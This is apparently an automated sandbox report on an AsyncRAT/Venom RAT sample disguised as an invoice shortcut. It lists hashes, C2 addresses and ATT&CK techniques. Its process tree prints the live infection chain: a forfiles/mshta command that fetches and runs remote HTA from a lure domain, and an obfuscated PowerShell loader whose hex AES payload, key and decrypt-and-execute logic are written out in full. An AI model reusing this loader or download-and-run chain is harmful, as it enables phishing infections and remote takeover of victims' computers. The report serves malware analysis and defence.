asyncrat | 84297536d9873d971dcc783ae2f95af8cbf32c65fccf3c8687af2ba5294b7f30

General

Target

Invoice.pdf.lnk
Size

148KB
MD5

d39a73de9f109e3dba408e9481998206
SHA1

30651dada81443db0fde9c3a336955d27b6d9024
SHA256

84297536d9873d971dcc783ae2f95af8cbf32c65fccf3c8687af2ba5294b7f30
SHA512

09c8954ecabbeb36aeb8804858168eb1448f5894c1641a1ba5311f2b33aaeb24814734d0b1f7e777f22910c53bb9df500801907a603d8d71fba139705f444d61
SSDEEP

24:8WEe6Dz358m+pyAWkr+/4x+sPxZvBG0qdd79ds/Z6U/ab9Q9qFBm:8WENDzKvZbnvBG7dJ9A6U/a5QW

Score

10^/10

asyncrat default discovery persistence rat

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.2

Botnet

Default

C2

94.156.69.161:8900

94.156.69.161:4443

94.156.69.163:8900

94.156.69.163:4443

94.156.69.164:8900

94.156.69.164:4443

94.156.69.165:8900

94.156.69.165:4443

94.156.69.166:8900

94.156.69.166:4443

91.92.248.82:8900

91.92.248.82:4443

91.92.251.136:8900

91.92.251.136:4443

91.92.251.153:8900

91.92.251.153:4443

91.92.251.159:8900

91.92.251.159:4443

91.92.251.179:8900

91.92.251.179:4443

Mutex

sqhylkrhlwjrecxiv

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

2 3764 mshta.exe
4 3764 mshta.exe
7 3764 mshta.exe
10 1652 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

windefragsvc.exe

pid process

1984 windefragsvc.exe

flow	pid	process
2	3764	mshta.exe
4	3764	mshta.exe
7	3764	mshta.exe
10	1652	powershell.exe

pid	process
1984	windefragsvc.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

windefragsvc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\skwpfwdg = "C:\\Users\\Admin\\AppData\\Roaming\\fat\\dete\\1.0.0.0\\mcsfwservice.exe"	windefragsvc.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of SetThreadContext 1 IoCs

Processes:

windefragsvc.exe

description pid process target process

PID 1984 set thread context of 3384 1984 windefragsvc.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 1984 set thread context of 3384	1984	windefragsvc.exe	RegAsm.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AcroRd32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid	process
4132	powershell.exe
4132	powershell.exe
4132	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
3384	RegAsm.exe
3384	RegAsm.exe
3384	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 4132 powershell.exe
Token: SeDebugPrivilege 1652 powershell.exe
Token: SeDebugPrivilege 3384 RegAsm.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

AcroRd32.exe

pid process

5016 AcroRd32.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

AcroRd32.exeRegAsm.exe

pid process

5016 AcroRd32.exe
5016 AcroRd32.exe
5016 AcroRd32.exe
5016 AcroRd32.exe
3384 RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	3384	RegAsm.exe

pid	process
5016	AcroRd32.exe

pid	process
5016	AcroRd32.exe
5016	AcroRd32.exe
5016	AcroRd32.exe
5016	AcroRd32.exe
3384	RegAsm.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exeforfiles.exepowershell.exemshta.exepowershell.exeAcroRd32.exeRdrCEF.exe

description	pid	process	target process
PID 3400 wrote to memory of 96	3400	cmd.exe	forfiles.exe
PID 3400 wrote to memory of 96	3400	cmd.exe	forfiles.exe
PID 96 wrote to memory of 4132	96	forfiles.exe	powershell.exe
PID 96 wrote to memory of 4132	96	forfiles.exe	powershell.exe
PID 4132 wrote to memory of 3764	4132	powershell.exe	mshta.exe
PID 4132 wrote to memory of 3764	4132	powershell.exe	mshta.exe
PID 3764 wrote to memory of 1652	3764	mshta.exe	powershell.exe
PID 3764 wrote to memory of 1652	3764	mshta.exe	powershell.exe
PID 1652 wrote to memory of 5016	1652	powershell.exe	AcroRd32.exe
PID 1652 wrote to memory of 5016	1652	powershell.exe	AcroRd32.exe
PID 1652 wrote to memory of 5016	1652	powershell.exe	AcroRd32.exe
PID 5016 wrote to memory of 3560	5016	AcroRd32.exe	RdrCEF.exe
PID 5016 wrote to memory of 3560	5016	AcroRd32.exe	RdrCEF.exe
PID 5016 wrote to memory of 3560	5016	AcroRd32.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 3948	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 4208	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 4208	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 4208	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 4208	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 4208	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 4208	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 4208	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 4208	3560	RdrCEF.exe	RdrCEF.exe
PID 3560 wrote to memory of 4208	3560	RdrCEF.exe	RdrCEF.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3400

C:\Windows\System32\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice"
2⤵
- Suspicious use of WriteProcessMemory
PID:96

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
. mshta https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4132

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice
4⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function NDkpzB($PbutE){return -split ($PbutE -replace '..', '0x$& ')};$FgMPQtR = NDkpzB('3D2E22BEE13CCFE8B668DFE3870189AB65FC83A106ED0669AD4641C874CEFC917EC535ADDF89DF1FC0D291409C73E835B9F5E70CF0828A29B1A99FCA6F796F2A42503EAD3E20FB474BFCCBC35604C7DF567229A99309C37991C3C06D087F748ACC4BC05F5B87FDD9577382DC5E78E9AF8F258959DBD417148594A4E69F30F8BA09721A811C9154BF4F46C61B027E5E341F93E46D8A20C8C29F4EC25E5C686A83F3F134C5E02359C71996DDDA3CB61DC08A2EB6BE0D3BB39C00E9CD6C5B8E50425065FA05BE50EB58A186392882ABB24FD4D0628687F1E075817F6E330DC872782EC8EF3270D119F3F1EC86C7C67AB9FD26BF831DFCD080EFE275AD185384E578FB6FF21965BEBABF3D61F1298B71AA9FC44837B82550CF83C1CA66CF07FDD34B3A36310A571FD186CAA02874D83D539F0ED9044B8229A424D9B6082A7ACC921F90904F4DF72C046C6FD1C5F33D9111995AAD7C1C1DD1C2AB1663495AD4FA4A076957D6C02EA68AC2E44CCE5221002CB17CB5CE00989546834D261F7C9FEAF275945B6288E36BE0499F62C619DD95E5D74BCE21A67C9B3D7086F8A2BC180BC93D234878A2B0DE6149370967764D9A43A5B369191F8CA07CDA7F4C04EEA417515BBE36A47DB3F155508C8C012037E01E725505EA2CEF9DC3452A26D6CCCEEB8F53AB4E584DB03063509EDC34BD1631BC0D85131CD09FF34CB6F59C256EE3A3F103404A0F88BEE10B6013EBA9B9A71B168C53B1500E3EE8F5E3D826118E292F0BD55FDD0C5D4926161CC7FE9FB046F7A7A4BE387BF2C9A4CD81588044BB525721950179CD20BC45EDCF86DACC2D05515E4A58A7D4607A73C70D16BB5DF70BD51F26556B2B75F712CF6B33D805188BE16B94E6CF59787C2CAD2624B8DE1F1FD6555ADCD6B087438FE541F4E496F6A1A54088B41117481113DF53DEE84CA74EE438A319B822416D96A624AB4ADA351565AB1AB7910CB458083883D052E81D58BBD45FA51B2A392F60088ACC43D43965E09E3999B124A4D99742762C29FEE7420F1FEBEAA69BE53723E7C83A1A0A9AB74BD3474822C6D09A38219121F97EB315CC6A97AFFD96443F43BCCB405282E5D5F8C2E1607082372440DB310E54573087CA2C07CAD48324AAA6D911A31EBE54BC246CC77D449E0209925602A237BE857173875FF7CBDF566A584855FA36E7BA974C49E4AC6BA71F637954D6EC82596875886BD35B62A9C41EA16912E81F4625EFFEE2F5FCD66832EF3C439A748C8E6AA5C50B2992CA202119B2EBDB95ECE163FC8FF7B0501C611AFDCD510A004DE882C79B433EDD9B890926856A227E5785BA964677F025837F0C62EF77D4C9D609518E415D6DDC2396A5839D383F6432318DE07919F442E2D5D455313D4A5E6414B3670D6DA8A746844B6475984E7DC5722645FAE5C2734D64606B25DD735043ABF19ACE1D00CF1455D8DCB263FE49FF6DAF30B1D278A2B024AAFA5CD490FA75A3500718CB6C2D733C645F1D96145E4F47C3B9FFAB0A80D4806F9597AB6C16648E27BAE0DBAFEBCA1B9FC9CB65F38A195E4BF3C914D7EB77DF41FEBED9252B7AA6D055220D9B1BE5316F0934D2ACF837572E54605BB44920BC30963D120BE37D1424FC57F0BC5A94530924D42DB1D03E2DF2E25F9425495C81589DAB9FE1139AE45431DCCDE27404986F8ED2458E7515A420D2F40D110D146A7F3E0566F550A052B46A6AC139EBE3CC41082CAE82EC5846FEC3099D033661D49805ED48FE4F019ECC22D5684A78CE7960DA71ED832792147A535401F1498FAE1C2C4FAECFB4DA3EBF98E01C1B81D841AA94083C26C2E7AC676E83180756C3EC3BA39F08A527D5CA7063EA91228B210D40DA1428F93986B13C10BF132D27C85801CC49F8598B105227DB80FF777FB78B8D6537584E244FF98133C299B3DCD20BE4D4BEA88D068CDBD84F54F0E419FF9F730F7FC17BB140848191A0AE77DC3182584C1F0BBA1EFE230BA6F9BD64622D0EBB1B60D55C6DD5141BD03DC8E385CF9AD75D8CE161AD6433E790579D4C316320D3BF9B609ED9BC810E661092B5D2F824ECD168E1A288B1EC23A230DFEBD019DC175FE02FB070676A7482EAC99F984A1B33F24A05624DD8E8FE3B261186010881F43CBA3AF8581D0B62D6FD371276A0A6AC713BBF10E63835C647C6808C475CFDA4B5362CFB4709875D7C86AD7B698CE71A069C32FE65523E8D3E8C40DE1149F66CD1B651698F41D98DB91312BD04A1E012D728C2FB120EB74CFF9F93D064E541C8953EE17AAD25F9A2CE3116796F26552CF5C7F08B1B73411CB6622FBFC3A56EA8D19B6513611D36C25F7AC9428174BCC5D619DB2C87759D6E0C291582A50C887CD0E72F242760BC721B1271E4732B1FBEF23833AA9EE322D775365EDD7D0C2AF9E01C3492F003338D21E90287');$UcouF = [System.Security.Cryptography.Aes]::Create();$UcouF.Key = NDkpzB('415450574E64494F4F6C5A7742707268');$UcouF.IV = New-Object byte[] 16;$seVZtfGD = $UcouF.CreateDecryptor();$mamDBHAHL = $seVZtfGD.TransformFinalBlock($FgMPQtR, 0, $FgMPQtR.Length);$bZUJiekdW = [System.Text.Encoding]::Utf8.GetString($mamDBHAHL);$seVZtfGD.Dispose();& $bZUJiekdW.Substring(0,3) $bZUJiekdW.Substring(3)
5⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1652

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\Evernote-Supplemental-Terms.pdf"
6⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5016

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
7⤵
- Suspicious use of WriteProcessMemory
PID:3560

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=697B7A6940F8E51D1638E6E428D911C7 --mojo-platform-channel-handle=1628 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:3948

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=D3340FB953654A736752B26105505AF2 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=D3340FB953654A736752B26105505AF2 --renderer-client-id=2 --mojo-platform-channel-handle=1640 --allow-no-sandbox-job /prefetch:1
8⤵
PID:4208

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0B6AA41BC8EADF24276C0080F05B4257 --mojo-platform-channel-handle=2212 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:1992

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=75783D03E6E6C3688029A70B681BBF9E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=75783D03E6E6C3688029A70B681BBF9E --renderer-client-id=5 --mojo-platform-channel-handle=1796 --allow-no-sandbox-job /prefetch:1
8⤵
PID:4236

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=7B2FFE48C9DF4F4BD505802C5183B449 --mojo-platform-channel-handle=2716 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:428

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9BC3810B7F081B3BA75B8E01C8BB3D6C --mojo-platform-channel-handle=2280 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:4996

C:\Users\Admin\AppData\Roaming\windefragsvc.exe
"C:\Users\Admin\AppData\Roaming\windefragsvc.exe"
6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:1984

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
1920bac4a8dc7fd259a5772871ef8278

SHA1
4abc54a0c6bd0feb50cfb80b90d7671b600d610c

SHA256
e925c236173b836183c71f632403949cb236557d99233b1ef5e86fe82ea7c764

SHA512
38fae01c4d836d526362ba2b614b626da66508fd5510c0672e9c5458345cb89dbc5bea79e715fdc2054298f16aeeff20ce8b74fae05c1ad86eaf876092904457

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
7c82c8afc3f7a0cdc83ffcadf3c501cb

SHA1
8ef4b2ac9694040b046916ca8a3d9cac71b749d5

SHA256
bcf11ad00dfd13eb01c16ea235a433d7dfc8c1326156cd938911f036cc1f8c03

SHA512
1a1d11a1a9858aa35f4b2af5da3feb3d1145ff83d0eaf2b5a6341bebc6578611541eb67fbb46d862ac8c909a627f1b8f5ff0d38e3fd5b3f57940532073de1add

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
c6b0a774fa56e0169ed7bb7b25c114dd

SHA1
bcdba7d4ecfff2180510850e585b44691ea81ba5

SHA256
b87210c4a0814394371ec7fba00fc02d9adbb22bcb1811a2abab46fdf4325da9

SHA512
